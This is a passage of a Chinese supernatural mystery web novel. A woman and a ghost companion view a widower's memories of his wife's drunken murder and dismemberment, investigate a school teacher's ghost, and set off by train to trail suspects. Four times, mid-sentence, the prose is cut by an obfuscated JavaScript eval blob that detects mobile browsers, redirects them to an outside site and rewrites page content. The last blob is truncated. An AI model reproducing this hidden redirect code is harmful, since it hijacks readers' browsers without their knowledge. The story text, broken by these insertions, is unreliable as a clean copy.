“哥,哥,你还醒着吗。”汤鹏安的手挥了挥,汤伟宁含糊回了句“嗯……”,但转瞬又闭上眼睛。 “那行,哥,我走了啊。” 剩下的事并不存在于汤伟宁的回忆,因为这家伙睡着了,只有断断续续的声音传来。 “梁微还是……到了吗……慢点……” “好嘞……嫂子……别送……” 门开了又关,易拉罐在塑料袋中撞击,有人的腰桌角磕了一下,白超低骂一声,碗盘被叠起,洗碗机门重重关上。 这时候汤伟宁来了点意识,嘟嘟囔囔:“别,别动……我睡一会就去洗……” 白超没好气:“歇着吧你!整天就是喝酒抽烟,有什么用?哎,我知道你难受,可闺女回不来了呀。” 这句话应该正中汤伟宁心头,他心虚又难受,挣扎着来了火,“超,闺女没了,你是不是特别恨……都,都是我的错……” 白超沉默,没搭理他。汤伟宁的情绪更加汹涌,但酒劲随血上头,他刚睁开一道缝的眼睛又闭上了,到处收拾家务的白超消失,只剩那略带怨气的乒乒乓乓的动静。 黑暗,无尽的黑暗,但恍恍惚惚有“咔嗒”一声传来,白超不知说了句什么,没人回答,只有汤伟宁幽幽怨怨的呢喃,在口腔中挤迫着空气,怨而难吐。 “我……是我……我杀了……” “超超你听错了……哈哈……我没有……怎么可能……” 睡了大约七八分钟,汤伟宁再睁开眼睛时,客厅地板铺着一次性塑料圆桌布,鲜血蜿蜒,白超躺在他面前,而汤伟宁穿衬衫西裤戴洗碗手套,菜刀一下又一下挥向白超的脖子。 汤伟宁的动作利落极了,带着醉醺醺的狠劲,白超躺在原地大睁着眼睛,脸上写满不可置信,很快,视野再次模糊,就像被打了马赛克,只剩下最基本的形影变换。 涂蓝埙把单片眼镜拿远一些,却找不到信号,N说:“看不清吗?说明他真喝断片了,深层记忆也没保留那段。” 虽然断断续续,但仍能体会到那人动作的残酷,白色条块有丝分裂般愈多愈小,红色也蔓延到视野边角,最终铺满一地,像是春天开了一地红色花海。 最后两个动作刚要开始,涂蓝埙“哎”了一声,难以置信:“这怎么还有广告插入啊?” 单片眼镜开始播放广告,是游戏推广骗氪的CG视频,她哭笑不得。 N的声音从旁边传来,但又显得很远:“游戏道具嘛,就这样,免费给你使用还不满意?” 被按头看了三十秒广告,涂蓝埙还没捕捉到汤伟宁最后的动作,画面就结束了。 她依稀记得是刀被扔在地上,发出“吭啷”一声,然后汤伟宁转身走向画面外,记忆再度模糊成涟漪。 “我要继续往下想吗。”汤伟宁接受“她有办法看我的记忆”的速度比涂蓝埙想得快。她回答:“那最好了。” 单片眼镜又鸡贼地插了个59秒的广告,接下来是汤伟宁第二天的记忆,显然他再醒来时已经是清晨。 视角低头,白衬衫吸满干涸的血,没有恐怖片道具的廉价感,血连成一片红褐色的有厚度的硬壳,触目惊心。汤伟宁显然是睡在一楼沙发上的,他刚把腿放下去,就踩到了那把进口的铬钢厨刀,刃已经略卷。 而他脚下,是铺满一地的尸体,头发被血结成一块一块,头颅双目惊恐,直看着汤伟宁睡觉的方向。 他大惊,坐回沙发,吸气惊叫捂脸,却看见自己的五指被凝血粘住,缠绕着几根长头发。汤伟宁撕扯它们,发出今早的第一声尖叫。 # “后来的事你也清楚了,我没去报警, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243870|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而藏尸灭迹。” 在N保证单片眼镜会看到人脑真实记忆之后,涂蓝埙解下遮汤伟宁眼的领带,后者呆滞地说。 “第二天是星期日,我在家清理现场,假装我和超超一天没出门,晚上我如常去学校跟活动,开了辆车,车是从家用车库开出来的,那里没监控。” “所以沿途交通和市政监控显示,车从我家开到学校门口,把我放下又开走了,这辆车最后被开回我家车库,开车的一直是个戴口罩的女人,被认为是白超。” “从周日晚上开始,我住学校没回家。周一开始给超超的号码打电话,关机,我亲手关的。又发短信联系她的工作室,留下各种痕迹。” “周二下午,我请假去报失踪,警察跟我一起进的别墅,他们第一时间怀疑的就是我,但家里没检测出凶杀痕迹,而且按照监控证据,我和白超的活动轨迹不重合。我周日进学校再没出来的时候,她活着开车回家了。” 涂蓝埙叹气:“帮你圆这个局的是汤鹏安。” 汤鹏安是周日接到汤伟宁电话的,说服汤鹏安用了很长时间,于是最终结果是,汤伟宁装扮成白超开车离家,中途在无监控处接上汤鹏安,两人就这么演了一出假换阴阳。 汤伟宁还愧疚呢,汤鹏安却给他介绍一位大师,说是梁微在那算过运,很灵,他俩须要祛祛这件事的晦气。 有两种可能。 ——汤伟宁被大师借体杀人,事后大师飘然而去,又借梁微汤鹏安的关系潜回汤伟宁身边。 ——前半段没大师的事,汤伟宁记忆中杀人的那个“自己”,根本就是他弟弟汤鹏安。 第一种或许能摘出汤鹏安,第二种或许能摘出梁微,但也可能是两口子齐上阵。 涂蓝埙说:“你没发现你那回忆,一会第一视角一会第三视角的吗,其中整段杀人过程都是第三视角。” 汤伟宁苦涩:“我以为是醉酒导致记忆畸变,而且我那段时间心理问题很严重,没多想视角抽离的事。” 所以不管哪一种,汤伟宁这三张奔四的高学历知识分子,纯属傻白甜,全家被卖了还替人家数钱。他不光给别人犯下的凶案擦屁股,还为此惶惶不可终日整三年。 N冷笑:“咱们来得早了些,再晚点,估计他自己也没了,一家三口包圆。省得这么多麻烦。” 涂蓝埙则说:“把你睡袍揭开给我看看。” 汤伟宁和无形的N都转头看她,震惊失语,她有点尴尬,解释道:“你刚撩那一下,大腿上好像有东西。” 汤伟宁看了涂蓝埙好几眼,她和他学生差不多大,但他不得不忍辱含羞,当着涂蓝埙的面撩起袍摆。涂蓝埙离近了些,瞬间,他的脸色转为煞白。 他大腿外侧有几枚手指印子,紫青色,连指腹的箕和斗都能模糊看见。 那个角度绝对是本人掐不出来的。 而且一般指痕不会有指纹,也不会完全吻合指腹轮廓,那印记比起掐痕更像是冻伤。 N高兴起来:“呀,是鬼啊。” 29. 29 汤伟宁被鬼缠了,这并不奇怪,他那副清高可怜的样子就很像招鬼的。结合目前线索,涂蓝埙认为鬼就是大师,就是汤鹏安或者梁微搞出来的。 现在的问题还剩两个,白超的鬼魂在哪,以及N嗅到的别墅里的第三个死者是谁。 “会不会是你家以前闹鬼?是个凶宅?你们惹了这里的地缚灵,全家都被报复,那种利用人心里阴暗念头的鬼之类的。”涂蓝埙灵感不断。 汤伟宁脖子一缩,好像有鬼在摸他,环顾四周:“不能,不能,我家买的期房,别墅区一建成就验房装修的,除非这死过装修工人——那是不可能的。” “或者别墅区落地之前呢?这块地原来是干什么的,古刑场,万人坑,不会吧?” N的眼神分分明明告诉涂蓝埙,她想歪了,他冷笑:“没那么久远,要不这世界上全是鬼味了。第三名死者就死在近几年。” 涂蓝埙和汤伟宁聊了一轮都没捋明白,最后发现,整个故事中除了凶手,还少一重要环节:白超。 “我们至少需要定义一个未知数,抓住凶手或者找到白超,才能解开这个等式。”涂蓝埙说。 鉴于他们这边有N这张牌,涂蓝埙拍板,让汤伟宁直接拿起手机联系10110101,套那人皮鬼的话。再不行就冲到汤鹏安家里去,把对他哥做过的再对他来一遍,最终排除判断梁微的嫌疑。 汤伟宁不愧是做老师的,很会应对现场,调整好情绪状态,给10110101打字:大师,我还想问问仪式的事情。 10110101回复很快:问什么。 毫无疑问,涂蓝埙指使电脑女鬼进行的探查惨遭滑铁卢,对方功力深厚,她钻不进目标手机。 汤伟宁用了个涂蓝埙教他的话术,卖惨痛哭,拿出一副“你不给我个安心我都不想做了”的崩溃态势,大师终于不耐烦,吐了口子。 ——仪式进行的地点,在一处汤伟宁去过的地方。 这个信息很重要,因为稍用脑筋能推理出来,白超鬼魂的失踪和大师脱不开关系。而迎鬼胎仪式据汤伟宁所说,和白超有关。 他目光闪闪烁烁:“大师说过,接引鬼胎能让我和白超团聚。” N不置可否,涂蓝埙微微点头,心说放屁,汤伟宁这副样子显然还有所隐瞒——他没骗,但他隐瞒了其中某个部分。 鉴于这人已经精神崩溃濒临变态,涂蓝埙选择不再刺激他,真到仪式那天就都知道了,到时候一并收拾他们。她蛮有耐心,因为知道管这件闲事的报酬在哪了。 “那个人皮鬼,都兴风作浪好几年了,应该挺富的吧。”涂蓝埙打算劫富济自己。 但明面上,她对N温柔一笑,表示一切为了孩子(白小句)。 # 两人一鬼暂时结成不怎么齐心的小队,其中汤伟宁还不知道N的存在,以为涂蓝埙不许他坐副驾驶是出于对一个教育职业者的尊敬,后来一路无话,他又扒着前座嗫嚅:“我是不是被嫌弃了,我接受这一点。” 涂蓝埙哑然,难道汤伟宁还有什么自我良好的感觉,顶着个藏尸帮凶的名头,还有肚子一道竖疤,想着像课堂上那样被人捧起来吗。 他们的第一个目的地是白超的视频工作室,事实上已经废弃,它不属于写字楼,而是别墅区附近的一栋城市边陲的小二层楼,商用,自白超“失踪”后就被汤伟宁接管。 汤伟宁拿钥匙开门,迎面而来一股公共卫生间的香氛味,一寸头短发的精瘦女孩子从卫生间退出来,戴着塑胶手套,脖子梗在宽卫衣里显得很细。 她一见汤伟宁就怒不可遏:“您上个月把保洁辞了是为哪样?现在我们得排班轮流收拾厕所!” 涂蓝埙没见过寸头女孩子那样厉害的员工,更没见过汤伟宁这么窝囊的老板,几乎赔着笑说:“这就剩你们三个员工了,雇个保洁多浪费,大不了把我也排进去扫厕所。” 白超被失踪后,汤伟宁陆续放走了工作室的大半员工,只剩下一个编导、一个剪辑特效,再加一个平台运营。这里的办公室好几间锁了,汤伟宁打开其中一间,是白超生前的个人办公室。 “超超的鬼魂会回到这里吗。”汤伟宁搓了搓胳膊。 涂蓝埙转述N的讥讽:“不会,因为你有‘小宝’了。” 汤伟宁有些伤感地摇摇头,“您知道,小宝就是我,也是我对超超的想念。哎,小姐你要找她鬼魂的话,说明你能看见,那小句号你见过吗?” 涂蓝埙没点头也没摇头,背对着他翻起白超的抽屉,那里面有些过期的口红粉饼,一些没什么鬼魂气息的私人物品。 “白超有个金镯子,你知道吧。”涂蓝埙忽然道。 汤伟宁愣了一会,想起是哪只金镯子,眼睛渐渐盈出泪意。 白超的原工作室地点一无所获,按照N的说法,这里连一丝死气都没有,白超死后就没来过这。 然而再没有她常去的地方了,除却拍外景,绝大多数视频的拍摄、化妆和后期工作都在这完成,而白超的鬼魂很难在美容院、生鲜超市等过于随机的地方。 10110101与汤伟宁约定的仪式时间在后天,他们为了抓紧时间,还是回到山水别墅。 能举行仪式的去过的地方,肯定有点特殊意义,涂蓝埙想起专门用于储存特殊意义的东西。 “相册,我找找,在这!”汤伟宁搬出厚厚三本,两大一小,大的是和白超婚后的家庭照,小的是汤伟宁自己小时候的。 “白超小时候怎么没有单独的影集?” 白超小时候父母离婚,没人给她照相。汤伟宁则出生于双全小康之家,所以白超童年时代那个位数的照片都合着汤伟宁的相册放了,“超超说这样有个就伴的感觉,哪怕我俩小时候根本在两个城市,也像有人陪了。” N冷漠:“双亲剥离,怪不得白超会看上他。” 涂蓝埙故意杠:“大学老师在相亲市场地位挺高的。” N不为所动:“我没说相亲,说的是心理缺陷和情感疾病。” 涂蓝埙不禁想,双亲离婚的白超会爱上娇软贤夫汤伟宁,那疑似孤儿、连爹妈影子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250098|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都捞不到的N,会有什么心理缺陷呢? 不,她想多了,N整个鬼就是一个巨大的缺陷。 他们一张张翻相册,坏消息是白超汤伟宁这家人很爱拍照,好消息是照相多在阳光外景,不是游乐园就是绿草地,这地怎么看都不像能“请鬼胎”的。 目标被缩小到室内的场所,除却已经去过的工作室,大体还剩下三个地方。 一家西餐厅,白超和白小句各有一次生日蛋糕照是在那拍的。 汤鹏安和梁微家,尚景府城九栋隔壁那间。 白小句的学校,这小姑娘死的时候八九岁,遗憾截止于小学学历。 汤伟宁先说:“这家西餐厅已经倒闭了,我在里面充的一千块会员卡也飞了两百,还遭一顿批呢。” 接着是汤鹏安和梁微家,这是个可疑的地方。涂蓝埙问N上次隔着门有没有闻到死气,N白了她一眼,像是否定。 “门关着,很多时候隔着东西感应不到,我又不是X光机。” 那么汤鹏安家是最可疑但无法自由探索的地点,白小句读过的实验小学是可探索的地点。下一步就去那好了。 “你和白超谁常去接孩子?” “我。”汤伟宁毫不犹豫,“基本都是我,搞得现在汤光明放学也经常是我接,路太熟了。” 实验小学的重要性似乎被减弱了,涂蓝埙继续翻相册,那本小相册里的照片格调更好,没有精心设计过的角度和抓拍,但是光色朦胧,一个个幼童或少年的汤伟宁或飞翔于单杠,白衣白袜白帆布鞋,和周围老旧的色块形成对比。 “你弟的单人照也这么拍?不会就洗一个人的糊弄你俩吧。” “他不拍,他小时候性子和我不一样,特拧,傻瓜相机一举起来他就跑,只能拍到屁股。”汤伟宁笑了笑,想到什么,笑又收回去。 果然,涂蓝埙找到一张兄弟俩同框的,那是张中学同学的大合影,一看斯文柔弱抿笑的那个就是汤伟宁,旁边眉目阴野垮着小脸儿的是汤鹏安,要不是旁边那位戴瓶底眼镜的年轻老师抓住他,汤鹏安可能早蹿出画外了。 “小时候你学习更好吧。” “不,鹏……汤鹏安更好,家里学校都奈何不了他,尤其是上中学的时候,连老师也敢骂的。”汤伟宁答。 涂蓝埙盯了汤氏兄弟的照片两秒钟,总觉得那教室背景有点眼熟,但那个年代大多数教室都长那样。 汤伟宁问涂蓝埙:“小姐,您说那人皮鬼,是真的有本事吗?它在图谋鹏安或者梁微什么呢,他俩到底谁要害我。” 他问得对,人和鬼总不能是天然站在一方的, 涂蓝埙横他一眼:“想知道人皮鬼图谋什么,你自己得先对我们说实话。想知道你弟和弟媳到底谁害你,简单,发个朋友圈就得了。” “朋友圈?”他跟着重复。 “发朋友圈说你突然被系里派到隔壁市调研,出差三天,请大家推荐隔壁市的特色馆子。”涂蓝埙说。 “然后等着就行,他俩谁先联系你,谁的嫌疑就更大。” 30. 30 过了十分钟,汤伟宁手机亮了,是梁微发来消息:大哥,你最近还好吗?怎么突然要出差了。 涂蓝埙和汤伟宁对视一眼,后者表情似悲似喜,既有凶仇露面的悲愤,又有“幸好不是我弟弟”的释然。 汤伟宁回了两句片汤话,梁微还在关心:鹏安最近如何?你经常见他吗? 她甚至一句接着一句:我最近也有计划去福市,想和大哥见面单独聊聊,行吗?你千万别告诉汤鹏安。 福市是汤伟宁假称出差的城市,从地理位置上与梁微所在的老家城市很近。 汤伟宁见涂蓝埙的脸色变得奇怪,连身陷诡案都忘了,赶忙解释:“我俩真没事,我也不知道她为什么说这些,以前我和梁微不太熟的!” 涂蓝埙把他的思路扯回去:“没看出来吗,她希望掌握你的动向,并保证你离开鹿城后待在她的眼皮子底下。” 汤伟宁悚然:“是啊!梁微还不让我告诉鹏安,明显是要绕开鹏安对我下手!” 他连利益链条都捋出来了:“超超和小句死后我家钱归我,我死后我家钱归我弟,只要再死一个我弟,这钱就都落梁微手里了……” 汤伟宁把自己吓得够呛,要不是涂蓝埙拦着,他都要打电话给汤鹏安救风尘了。可还没等他吓完,汤鹏安的消息接踵而至。 汤鹏安:哥,你出差怎么不告诉我?一个人吗,要不我陪你去。 汤伟宁的脸色难看起来,莫非真是夫妻犯案?他回:不用,梁微还没回家,你走了小光怎么办。 汤鹏安无所谓:带着呗,跟学校请个假,就当跟咱俩去福市旅游了。 现在这两口子的得分再次1:1,狼狈为奸的可能性极大,涂蓝埙拍板:“走,先趁着天亮把学校和汤鹏安家探了。” 倒不是天黑容易见鬼,N冷笑说那压根是瞎话,只是涂蓝埙在白天好歹有点心理安全感,于是撺掇汤伟宁出门。 他们今天在别墅区进进出出,涂蓝埙还戴个口罩,门卫看汤伟宁的眼神都不对了,直要把他浸猪笼的愤愤然,仿佛为天下所有守节痴情男子之耻。 来到学校时,正好赶上放学,实验小学内外两条街都挤满车子和家长,恰逢校园伸缩门敞开,涂蓝埙被汤伟宁领着,混在入校的家长中往里进。 小学校园和大多数公共场所一样,进出是要刷脸的,汤伟宁自然不在话下,涂蓝埙再次借了N的光,悄声问:“怎么样,有感应吗?” N被一个又一个蹦跳的小豆子穿过身体,脸色谈不上好看,忽然目光锁定教学楼正门的方向——汤鹏安正领着汤光明出来,还回身跟一位二十多快三十的女老师笑聊。 汤伟宁说:“那个是小光的班主任,师大毕业的,姓刘,博士呢!” 再看过去,刘老师已经在应付别的家长,汤鹏安和汤光明并肩往校园外走。汤伟宁说汤光明今天晚上应该有足球俱乐部训练,如果现在快点往尚景府城赶,说不准能打个时间差,在汤鹏安从城市另一个方向赶回来前,去他家侦查一番。 还没转身,N忽然站住不动,两根手指拎住涂蓝埙的衣袖,往回一指:“那里不对。” 那个位置站的是刘老师,旁边围着几名学生和家长,还有其他班级挤在一起,涂蓝埙:“刘老师怎么了吗?” “不是她。”N的眼神锐利非凡,凉薄一笑,有有种随意但危险的感觉,“是她身后的那个棕色头发的。” 学校老师一般不允许烫染夸张发型,深棕色已经是极限,所以刘老师身后那个扎着棕色卷曲短马尾的女老师,在人群中就非常显眼。 涂蓝埙递去疑惑一眼,问汤伟宁:“那个老师你认识吗?” 汤伟宁迷茫:“啊?那里只有刘老师一个啊。” 他看不见那个棕色卷马尾的女老师。 只见对方从刘老师身后缓缓转过脸,小半张脸从额角开始碎裂,身上的葫芦袖白衬衫也沾了灰似的,整个人比背景灰了两度,双眼埋在两片阴影中。 是鬼啊。 这种打扮,这种出现时机,那棕马尾鬼生前可能是实验小学的老师。 N直接朝着教学楼内走去,涂蓝埙和晕头转向的汤伟宁只能跟在后面,幸好人群杂乱,他们虽然引起了一些注意,但顺利混了进去。 刘老师追过来:“哎,小光爸爸,您到教学楼去有事吗?” 她把汤伟宁认错了,脸上带着那种班任教师经常对社会地位较高家长的认真感。 涂蓝埙立马装和他不认识,擦肩而过时,声音从口罩下面溜出来:“撒谎,摆脱她。” 汤伟宁脑子不知抽什么风,笑了笑:“哦,忽然想借个厕所,方便吧? “方便方便,一楼卫生间刚被阿姨打扫完,您去我办公室那层吧。”刘老师热心给汤伟宁指路,自己一道上楼,汤伟宁只能演下去。 N忽然消失,又出现在汤伟宁旁边,N不知说了什么,后者脊背一震,脸都白了。 所幸,他还没傻到叫出来,涂蓝埙吊在不远处,听他铲颤颤巍巍:“那个,刘老师啊,请问咱们学校有没有出过事故?啊,我看小光这两天睡得不太好,总念叨一些怪里怪气的话。” 刘老师也年轻,被这一问给惊到了,很快笑道:“怎么可能呢小光爸爸,咱们学校校风严谨,同学之间很少打架,而且是小学,没什么升学压力,当然不会出事故了。” 汤伟宁垂眼顿了下,继续问:“那……如果不是学生,是老师呢?” 刘老师的表情有些奇怪,好像对“汤鹏安”的印象改变了,但她很快想起另一件事,压过之前的不悦情绪,“唔……的确听说过一起教师自杀案,不过是六年前了,那时候我还没入职呢。” 说完,刘老师很警惕地看看周围,又盯着汤伟宁,有点后悔自己交浅言深。 汤伟宁不知道怎么问下去,他看不见N来到刘老师背后,在她脑后打了个响指,刘老师的眼神就迷蒙起来,“啊,您刚才问什么,我没听清,麻烦再说一遍吧。” “能谈谈六年前实验小学教师自杀的案件吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255676|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 刘老师做梦一样,脸上带着八卦的兴奋,“哦哦,是的,六年前有个年轻女老师自杀了,名字不知道,是教语文的,从教学楼楼顶跳下去,很倒霉,直接摔到脖子了。” 汤伟宁见涂蓝埙点了点自己的头发和衣领,问道:“她的发型和衣服是什么样的?” “我看过照片,是褐色的马尾辫,挺好看的……衣服不知道,也就是教师常穿的那几样呗。” 汤伟宁受到感召:“您知道她为什么死吗?” “听说是乱搞男女关系……这是个老词,反正就是当时一些风言风语,还有人传她怀孕了……”刘老师迷蒙的眼睛忽然变清醒,愕然看向汤伟宁,惊慌道:“……我刚才在说什么?” 汤伟宁也不平静,微笑:“我没注意听,您可能走神了吧,刘老师。” 行至三楼,刘老师再不挽留汤伟宁,指了下卫生间方向,就见鬼般匆匆往办公室去。 涂蓝埙站在最后一级楼梯上,再往前走一步就会离开阳光,踏入阴影的范围,她心脏怦怦,手机打字:刚才那鬼怎么回事?见到你就吓跑了,会是10110101吗。 汤伟宁同时问她:“我感觉附近有鬼!小姐,是和你一起的还是那位大师……你不会和大师是一伙的吧?”他退后一步。 不对,10110101是个套人皮壳的鬼,而那个褐马尾老师就是纯魂体,不过她为什么会跟着刘老师呢? 涂蓝埙想起什么,眼睛睁大:“刘老师和刘茂盛伯伯是什么关系?” N眸光冷淡:“她是刘叔的女儿。” 所以他们冲进学校里,压根和汤伟宁的案子没关系,完全出于私交情分。虽然值得,但汤鹏安回家的时间差全错过了。 在教学楼逛了一圈,那褐马尾可能是忌惮N,再没露过头,而白超的痕迹很不幸地被遮掩了——整所学校都是褐马尾的死气,白超被押魂的物品就算在这,那微不可察的气息也会被完全盖过去。 汤伟宁坐在白小句最后上过课的教室门口,脑袋埋在两膝之间,深深叹了口气。 傍晚空旷下来的学校,夕阳余晖微黄透明,总给人一种怅惘的感觉。 刘老师下楼路过,犹豫两秒还是怪异地看了眼涂蓝埙,随即和“汤鹏安”搭话:“小光爸爸,您这是怎么了?是小光落东西在教室了吗。” 他们这才惊觉,汤光明这学期的教室竟然和白小句曾经的是一间。 “我找点东西,有个包应该是……”汤伟宁顺口说。 刘老师的热心又长出来了,“您不记得了吗?小光在柜子里的包被小光妈妈拿走了,她几个月之前来过一趟。” “噢,那我可能记错了,没事,我回去问问。” 汤伟宁还真到汤光明的柜子前转了圈。N跟在后面,在那空柜门前站足五秒,转身:“就是这里,不过东西已经被拿走了,剩下的气很淡。” 涂蓝埙不禁开始计算成本,如果汤鹏安家再没发现,恐怕就要买车票去外市找梁微了。 31. 31 看来是非走一趟不可了。 N本来不置可否,涂蓝埙以外县市特色菜相诱惑,他想了一下,还没问,涂蓝埙赶紧加码:“是特色甜品,那边的传统点心很有名的。” 于是就这样准备出发了。 汤伟宁自然没有意见,三人看了车票,约定四小时后在鹿城农业大学北门口见面,于是各自去收拾行李。 涂蓝埙和N驱车回到便利店,之前和分销商销售订的货竟然到了,司机开着小货车在门口等,露出点不耐烦的神情。 涂蓝埙惊呆了,不知道那公司许了司机什么好处,竟然愿意开到这无人鬼区。 司机叼着烟:“对一下货单,没事我走了啊!” 涂蓝埙这才看见司机的虹膜里有异样的色泽,看久了有些恍惚,她最近的视觉敏锐许多,一下子觉出不对劲。 N冷笑一声,越过涂蓝埙进了店里,没有作任何解释的意思。 涂蓝埙和司机一起把货箱搬进店里,正撸袖子准备开干,N看了眼她那豪情万丈的样子,笑:“用我帮忙吗?” 还没等涂蓝埙说话,所有商品都自动悬浮而起,分门别类飘向不同货架,找准自己位置,就连摆放的角度都分好不拆,跟一队队列兵似的。 就知道他不仅有洁癖,还有强迫症。 涂蓝埙心里压力大增,以后再从货架拿东西,她会有负担的! “别在意。”N的声音懒洋洋,但是发冷,“我只是不允许别人把我的生活环境弄得乱糟糟。” 涂蓝埙在心中杠回去:这是我的生活环境吧。 N:“对了,你洗澡么?”一包浴巾自动飞到他手里。 涂蓝埙点头又摇头,警惕道:“你要洗澡?不,我不是说你不能洗,那……那你先来吧。” N愉悦地点点头,消失在卫生间门后。 涂蓝埙在收银台边无聊地玩手指,电脑女鬼探出半个脑袋,听涂蓝埙讲汤伟宁的事情,被惊得一愣又一愣。 “啊,所以说他先被人杀了女儿,又被人杀了妻子,但他以为这俩人都是自己干的,还帮真正的凶手藏了尸体,而且真凶本身也是别人……别鬼的工具人。太刺激了!” 电脑女鬼忽然很严肃:“我觉得你们得防着点汤伟宁。他不正常。” “怎么说?” “你想啊,这人的接受度也太高了,知道被陷害的真相后,他有很悲愤么?有对嫌犯破口大骂么?有陷入崩溃痛不欲生么?” 涂蓝埙想了想,的确,汤伟宁破案的态度是积极的,但个人情绪是在正常限度内的。就好像他知道一些事,或者…… 或者他已经打算自杀了。 ——结局已经注定,他心已死,不愿再大喜大悲,但故事的全貌还是愿意看看的。 涂蓝埙打了个冷战,卫生间门在这时开了,一股淡淡凉凉的草木气息涌出来,混杂着沐浴露的味道,但一点都不潮湿。 N仿佛是在草木之间洗了个冷水澡,因为温度低,那股浴液香气很快被浮动的青绿气味压下去,再闻不到了,他淡漠:“你可以去了。” 涂蓝埙感觉自己在N的身体里洗了个澡。 洗完出来,她皮肤上牛奶沐浴露的味道也很淡,更多的是草木味。 她有些介意,但看了眼N破碎的眼珠,还是把话咽回去,收拾出一个大包,“我们可以走了。” 驱车回到鹿农大北门的时候,约定的四小时还剩三十分钟,不过已经入夜,在夜市街和人流的掩护下,他们非常隐蔽。 汤伟宁到得也早,提着只行李箱,鬼鬼祟祟钻进捷达后座,“我看票了,没剩太多,咱们要不提前买?” 涂蓝埙回答:“到车站再买。” 车行至火车站附近,等红灯的时候,涂蓝埙用汤伟宁的手机把票买了,目的地是福市。 汤伟宁疑惑:“去福市出差不是幌子吗?梁微的老家在米城。而且为什么买绿皮车?飞机高铁不是更方便吗。” 涂蓝埙点头:“福市和米城都在这条火车线上,一个中段一个后段,中间隔三个小站,咱们只买到福市,到时候不下车,直接补票坐到米城。” “至于为什么不坐飞机高铁,因为绿皮车的容错率更高,大站小站站站都停,如果遇到意外情况,咱们能灵活下车换乘。” 汤伟宁恍惚点头,“小姐,您是做特工的吧?国家是不是安排特工研究灵异这方面了?您太有天赋了!” 得了这句褒扬,涂蓝埙驶入火车站停车场时还甩了个尾,就是不太成功,险些撞到圆球石墩上,换来N似笑非笑的警告一眼。 ——弄坏了车,她就完蛋了哦。 车子被停在长期停车区,交过钱,涂蓝埙和汤伟宁跑着去安检候车,时间紧,买票的那列车还有二十二分钟发车。 十五分钟后,涂蓝埙和汤伟宁气喘吁吁地跑过检票口,上了站台,蹿入最近的一节车厢,捋着号码往后走去,还没到地方呢,火车就驶动了,站台缓缓向后飘过去。 涂蓝埙买的是卧铺票,一张上铺一张下铺,在同一个门洞的斜对面,主要是买硬座的话,不知道把N这位大爷往哪安放。 汤伟宁很绅士地请涂蓝埙住了下铺,并说:“碰见怪人随时喊我啊。”爬上去之后还关切地望来一眼。 到了社会场所,汤伟宁倒是把涂蓝埙当成学生爱护了,她本来也是当学生的年纪。 涂蓝埙和N并排坐在下铺,对面下铺是个老太太,两个中铺都暂时没来乘客,正头顶的上铺是个年轻小伙子。 老太太剥了个橘子给涂蓝埙,微笑:“小姑娘,润润嗓子吧。” 汤伟宁从对面上铺的栏杆旁望下来,及时说:“那个谁,正好我渴了,你那橘子给我吃行吗。” 涂蓝埙站起来,剥好的橘子就交给汤伟宁了,涂蓝埙看见汤伟宁没吃,只是放在老太太看不见的铺位深处,他还给她一个“警惕”的表情。 但下一秒,老太太又剥了个橘子,看了眼上面,小声神秘道:“姑娘,你们认识吗……” 涂蓝埙忍笑说“认识”,旁边N已经点了头,橘子是没问题了。老太太和汤伟宁都把彼此当坏人防范了。 车厢泡面味很浓,橘子很甜,火车一摇一晃地向前驶去,汤伟宁忽然给涂蓝埙发消息——他们之前加上了——说和汤鹏安通了消息。 消息是汤鹏安主动发的,问汤伟宁还在不在鹿城,按照之前编好的谎言,汤伟宁说自己在去福市的路上,这样汤鹏安就算想追他,也只能去福市扑个空。 聊天记录截图发过来。 汤伟宁:你问这个干嘛。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262318|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 汤鹏安:嗨,我最近也有事要出去,还想着你能不能带两天小光呢。 汤伟宁:那小光怎么办? 汤鹏安:没辙,送梁微她二姨家得了。 汤伟宁:那你别忘了给人塞点钱噢。 涂蓝埙挑眉,汤鹏安果然有异动,只是消息是他们上车后才发的,现在追出来也晚了,更何况目的地一开始就是错的。 